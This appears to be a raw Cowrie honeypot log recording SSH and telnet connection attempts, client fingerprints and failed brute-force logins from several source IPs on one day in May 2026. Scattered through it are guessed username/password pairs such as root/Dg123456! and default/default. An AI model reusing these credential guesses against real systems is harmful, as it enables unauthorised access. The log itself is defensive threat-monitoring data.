{"eventid":"cowrie.session.closed","duration":"19.1","message":"Connection lost after 19.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:15:48.892266Z","src_ip":"122.168.114.167","session":"31839456a5b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"179.99.174.129","src_port":40626,"dst_ip":"10.17.0.5","dst_port":23,"session":"5daaaced6561","protocol":"telnet","message":"New connection: 179.99.174.129:40626 (10.17.0.5:23) [session: 5daaaced6561]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:15:53.158751Z"}
{"eventid":"cowrie.session.connect","src_ip":"106.205.170.74","src_port":3210,"dst_ip":"10.17.0.5","dst_port":23,"session":"466dad8ebec7","protocol":"telnet","message":"New connection: 106.205.170.74:3210 (10.17.0.5:23) [session: 466dad8ebec7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:15:57.716826Z"}
{"eventid":"cowrie.session.connect","src_ip":"179.99.174.129","src_port":42274,"dst_ip":"10.17.0.5","dst_port":23,"session":"806652382721","protocol":"telnet","message":"New connection: 179.99.174.129:42274 (10.17.0.5:23) [session: 806652382721]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:16:07.205960Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":49758,"dst_ip":"159.203.135.109","dst_port":22,"session":"40f42386e40a","protocol":"ssh","message":"New connection: 122.168.114.167:49758 (159.203.135.109:22) [session: 40f42386e40a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:16:08.775437Z"}
{"eventid":"cowrie.session.closed","duration":13.283852577209473,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:16:11.000558Z","src_ip":"106.205.170.74","session":"466dad8ebec7","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:16:11.850553Z","src_ip":"122.168.114.167","session":"40f42386e40a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:16:11.854513Z","src_ip":"122.168.114.167","session":"40f42386e40a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"179.99.174.129","src_port":43386,"dst_ip":"10.17.0.5","dst_port":23,"session":"625123ada0fd","protocol":"telnet","message":"New connection: 179.99.174.129:43386 (10.17.0.5:23) [session: 625123ada0fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:16:15.690866Z"}
{"eventid":"cowrie.login.failed","username":"vm","password":"vm","message":"login attempt [vm/vm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:16:23.311421Z","src_ip":"122.168.114.167","session":"40f42386e40a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":49774,"dst_ip":"159.203.135.109","dst_port":22,"session":"48db55191eae","protocol":"ssh","message":"New connection: 159.203.92.129:49774 (159.203.135.109:22) [session: 48db55191eae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:16:24.903868Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:16:24.909187Z","src_ip":"159.203.92.129","session":"48db55191eae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:16:24.914047Z","src_ip":"159.203.92.129","session":"48db55191eae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"applmgr","password":"root","message":"login attempt [applmgr/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:16:24.926663Z","src_ip":"159.203.92.129","session":"48db55191eae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:16:25.935824Z","src_ip":"159.203.92.129","session":"48db55191eae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"18.1","message":"Connection lost after 18.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:16:26.867311Z","src_ip":"122.168.114.167","session":"40f42386e40a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.15.117.42","src_port":47116,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd34d69e5c97","protocol":"telnet","message":"New connection: 47.15.117.42:47116 (10.17.0.5:23) [session: fd34d69e5c97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:16:29.018303Z"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.79.194","src_port":27755,"dst_ip":"10.17.0.5","dst_port":22,"session":"17d68b446efd","protocol":"ssh","message":"New connection: 182.253.79.194:27755 (10.17.0.5:22) [session: 17d68b446efd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:16:35.579823Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:16:35.584379Z","src_ip":"182.253.79.194","session":"17d68b446efd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:16:35.856509Z","src_ip":"182.253.79.194","session":"17d68b446efd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Dg123456!","message":"login attempt [root/Dg123456!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:16:36.976477Z","src_ip":"182.253.79.194","session":"17d68b446efd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:16:38.250524Z","src_ip":"182.253.79.194","session":"17d68b446efd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.420810222625732,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:16:41.439018Z","src_ip":"47.15.117.42","session":"fd34d69e5c97","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":50052,"dst_ip":"159.203.135.109","dst_port":23,"session":"b22b283ad893","protocol":"telnet","message":"New connection: 185.26.126.47:50052 (159.203.135.109:23) [session: b22b283ad893]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:16:42.470137Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":52156,"dst_ip":"159.203.135.109","dst_port":22,"session":"4698b7c16547","protocol":"ssh","message":"New connection: 122.168.114.167:52156 (159.203.135.109:22) [session: 4698b7c16547]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:16:49.539026Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:16:52.106539Z","src_ip":"122.168.114.167","session":"4698b7c16547","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:16:52.109588Z","src_ip":"122.168.114.167","session":"4698b7c16547","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aiuser","password":"aiuser","message":"login attempt [aiuser/aiuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:17:05.379102Z","src_ip":"122.168.114.167","session":"4698b7c16547","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":40946,"dst_ip":"159.203.135.109","dst_port":22,"session":"df1a47c23e73","protocol":"ssh","message":"New connection: 159.203.92.129:40946 (159.203.135.109:22) [session: df1a47c23e73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:17:09.295243Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:17:09.300836Z","src_ip":"159.203.92.129","session":"df1a47c23e73","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:17:09.305578Z","src_ip":"159.203.92.129","session":"df1a47c23e73","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"applorig","password":"123","message":"login attempt [applorig/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:17:09.315741Z","src_ip":"159.203.92.129","session":"df1a47c23e73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"20.1","message":"Connection lost after 20.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:17:09.598517Z","src_ip":"122.168.114.167","session":"4698b7c16547","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:17:10.321302Z","src_ip":"159.203.92.129","session":"df1a47c23e73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.1992871761322,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:17:24.669299Z","src_ip":"185.26.126.47","session":"b22b283ad893","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":54562,"dst_ip":"159.203.135.109","dst_port":22,"session":"adeaf1ae80db","protocol":"ssh","message":"New connection: 122.168.114.167:54562 (159.203.135.109:22) [session: adeaf1ae80db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:17:30.281150Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:17:33.596823Z","src_ip":"122.168.114.167","session":"adeaf1ae80db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:17:33.600355Z","src_ip":"122.168.114.167","session":"adeaf1ae80db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.79.194","src_port":27705,"dst_ip":"10.17.0.5","dst_port":22,"session":"3a20c884d90d","protocol":"ssh","message":"New connection: 182.253.79.194:27705 (10.17.0.5:22) [session: 3a20c884d90d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:17:40.481882Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:17:40.487016Z","src_ip":"182.253.79.194","session":"3a20c884d90d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:17:40.754517Z","src_ip":"182.253.79.194","session":"3a20c884d90d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passward","message":"login attempt [root/passward] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:17:41.848546Z","src_ip":"182.253.79.194","session":"3a20c884d90d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:17:43.116388Z","src_ip":"182.253.79.194","session":"3a20c884d90d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"default","password":"default","message":"login attempt [default/default] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:17:46.250348Z","src_ip":"122.168.114.167","session":"adeaf1ae80db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"20.2","message":"Connection lost after 20.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:17:50.505432Z","src_ip":"122.168.114.167","session":"adeaf1ae80db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":46388,"dst_ip":"159.203.135.109","dst_port":22,"session":"7cd57354442f","protocol":"ssh","message":"New connection: 159.203.92.129:46388 (159.203.135.109:22) [session: 7cd57354442f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:17:52.623030Z"}
